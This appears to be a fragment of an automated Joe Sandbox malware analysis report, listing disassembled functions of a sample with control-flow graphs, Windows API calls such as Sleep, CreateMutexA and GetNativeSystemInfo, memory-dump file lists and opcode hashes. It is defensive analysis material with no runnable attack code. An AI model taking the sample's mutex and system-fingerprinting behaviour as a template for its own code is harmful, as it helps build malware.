                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: cc2403e66bfd9a2816ec4420825451887404f9633533e347bc923d24152d5503
                                                                                                                                                                                                                                                                                    • Instruction ID: b2ea3bb8d4dbbb6ac3dea7bea9dff2b5841c47ae25b4b1e1ba7cf117b786dd2a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cc2403e66bfd9a2816ec4420825451887404f9633533e347bc923d24152d5503
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CC213A727042089BEB18ABB8ECC97BDB7A5EBD1310F20426DF50CD73D5DBB659808611
                                                                                                                                                                                                                                                                                    Function 00AFA856 Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 525 afa856-afa86e 526 afa89c-afa89e 525->526 527 afa870-afa87c 525->527 530 afa8a9-afa8b1 call af7d30 526->530 531 afa8a0-afa8a7 526->531 528 afa87e-afa88c 527->528 529 afa892-afa899 call b0d663 527->529 528->529 532 afa94e 528->532 529->526 542 afa8e4-afa8e6 530->542 543 afa8b3-afa8bb call af7d30 530->543 534 afa8eb-afa916 call b080c0 531->534 539 afa953-afa987 Sleep CreateMutexA 532->539 540 afa94e call b26c6a 532->540 545 afa98e-afa994 539->545 540->539 542->534 543->542 549 afa8bd-afa8c5 call af7d30 543->549 547 afa9a7-afa9a8 545->547 548 afa996-afa998 545->548 548->547 550 afa99a-afa9a5 548->550 549->542 554 afa8c7-afa8cf call af7d30 549->554 550->547 554->542 557 afa8d1-afa8d9 call af7d30 554->557 557->542 560 afa8db-afa8e2 557->560 560->534
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a67cac00ae88738e237620e0fe1b1362f880af371c5e7d21b6858afa10b32aae
                                                                                                                                                                                                                                                                                    • Instruction ID: 88b6a6f56e2c4c01f1d99642b1497ad7dd8398b48da2c26e407f986ccec921d8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a67cac00ae88738e237620e0fe1b1362f880af371c5e7d21b6858afa10b32aae
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8E217BB13492098AE72467E898DA7FDB6A1DF91700F20085AF20CD72D1CEB649808593
                                                                                                                                                                                                                                                                                    Function 00AFA34F Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 502 afa34f-afa35b 503 afa35d-afa36b 502->503 504 afa371-afa39a call b0d663 502->504 503->504 505 afa93a 503->505 510 afa39c-afa3a8 504->510 511 afa3c8-afa916 call b080c0 504->511 508 afa953-afa994 Sleep CreateMutexA 505->508 509 afa93a call b26c6a 505->509 518 afa9a7-afa9a8 508->518 519 afa996-afa998 508->519 509->508 512 afa3be-afa3c5 call b0d663 510->512 513 afa3aa-afa3b8 510->513 512->511 513->505 513->512 519->518 522 afa99a-afa9a5 519->522 522->518
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 1762e8a8a1778b837fa6682a95e38752cd9038b1ee7c568d7dacaeeeb3a767ce
                                                                                                                                                                                                                                                                                    • Instruction ID: 6f6350e9ff4eb7edd53516b406ed4d04ac6e7b824f9299b28e512dac51584977
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1762e8a8a1778b837fa6682a95e38752cd9038b1ee7c568d7dacaeeeb3a767ce
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5D213AB27042089BEB189BA8DCC97FCBBA5DBE1311F24426DF50CDB7D0CB7656808652
                                                                                                                                                                                                                                                                                    Function 00AF7D30 Relevance: 1.9, APIs: 1, Instructions: 426COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 561 af7d30-af7db2 call b240f0 565 af7db8-af7de0 call b07a00 call af5c10 561->565 566 af8356-af8373 call b0cff1 561->566 573 af7de4-af7e06 call b07a00 call af5c10 565->573 574 af7de2 565->574 579 af7e0a-af7e23 573->579 580 af7e08 573->580 574->573 583 af7e25-af7e34 579->583 584 af7e54-af7e7f 579->584 580->579 587 af7e4a-af7e51 call b0d663 583->587 588 af7e36-af7e44 583->588 585 af7e81-af7e90 584->585 586 af7eb0-af7ed1 584->586 589 af7ea6-af7ead call b0d663 585->589 590 af7e92-af7ea0 585->590 591 af7ed7-af7edc 586->591 592 af7ed3-af7ed5 GetNativeSystemInfo 586->592 587->584 588->587 593 af8374 call b26c6a 588->593 589->586 590->589 590->593 598 af7edd-af7ee6 591->598 592->598 599 af8379-af837f call b26c6a 593->599 602 af7ee8-af7eef 598->602 603 af7f04-af7f07 598->603 607 af7ef5-af7eff 602->607 608 af8351 602->608 604 af7f0d-af7f16 603->604 605 af82f7-af82fa 603->605 609 af7f29-af7f2c 604->609 610 af7f18-af7f24 604->610 605->608 611 af82fc-af8305 605->611 613 af834c 607->613 608->566 614 af82d4-af82d6 609->614 615 af7f32-af7f39 609->615 610->613 616 af832c-af832f 611->616 617 af8307-af830b 611->617 613->608 624 af82d8-af82e2 614->624 625 af82e4-af82e7 614->625 618 af7f3f-af7f9b call b07a00 call af5c10 call b07a00 call af5c10 call af5d50 615->618 619 af8019-af82bd call b07a00 call af5c10 call b07a00 call af5c10 call af5d50 call b07a00 call af5c10 call af5730 call b07a00 call af5c10 call b07a00 call af5c10 call af5d50 call b07a00 call af5c10 call af5730 call b07a00 call af5c10 call b07a00 call af5c10 call af5d50 call b07a00 call af5c10 call af5730 call b07a00 call af5c10 call b07a00 call af5c10 call af5d50 call b07a00 call af5c10 call af5730 615->619 622 af833d-af8349 616->622 623 af8331-af833b 616->623 620 af830d-af8312 617->620 621 af8320-af832a 617->621 647 af7fa0-af7fa7 618->647 661 af82c3-af82cc 619->661 620->621 628 af8314-af831e 620->628 621->608 622->613 623->608 624->613 625->608 626 af82e9-af82f5 625->626 626->613 628->608 649 af7fab-af7fcb call b28bbe 647->649 650 af7fa9 647->650 655 af7fcd-af7fdc 649->655 656 af8002-af8004 649->656 650->649 658 af7fde-af7fec 655->658 659 af7ff2-af7fff call b0d663 655->659 660 af800a-af8014 656->660 656->661 658->599 658->659 659->656 660->661 661->605 665 af82ce 661->665 665->614
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AF7ED3
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: InfoNativeSystem
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1721193555-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2b88c2d1039a4552d0d01e37831c920368f8f9a391b9aa91560a95e7d19664a7
                                                                                                                                                                                                                                                                                    • Instruction ID: ac611919c8061abbbb037dac4416bd5b33ad988a82e12e5130d72b40524969f3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2b88c2d1039a4552d0d01e37831c920368f8f9a391b9aa91560a95e7d19664a7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 01E1F870E012489BDB14BBA8CD4B3AD7BA1AB42710F9402DCF5156B3D2DF355E858BC2
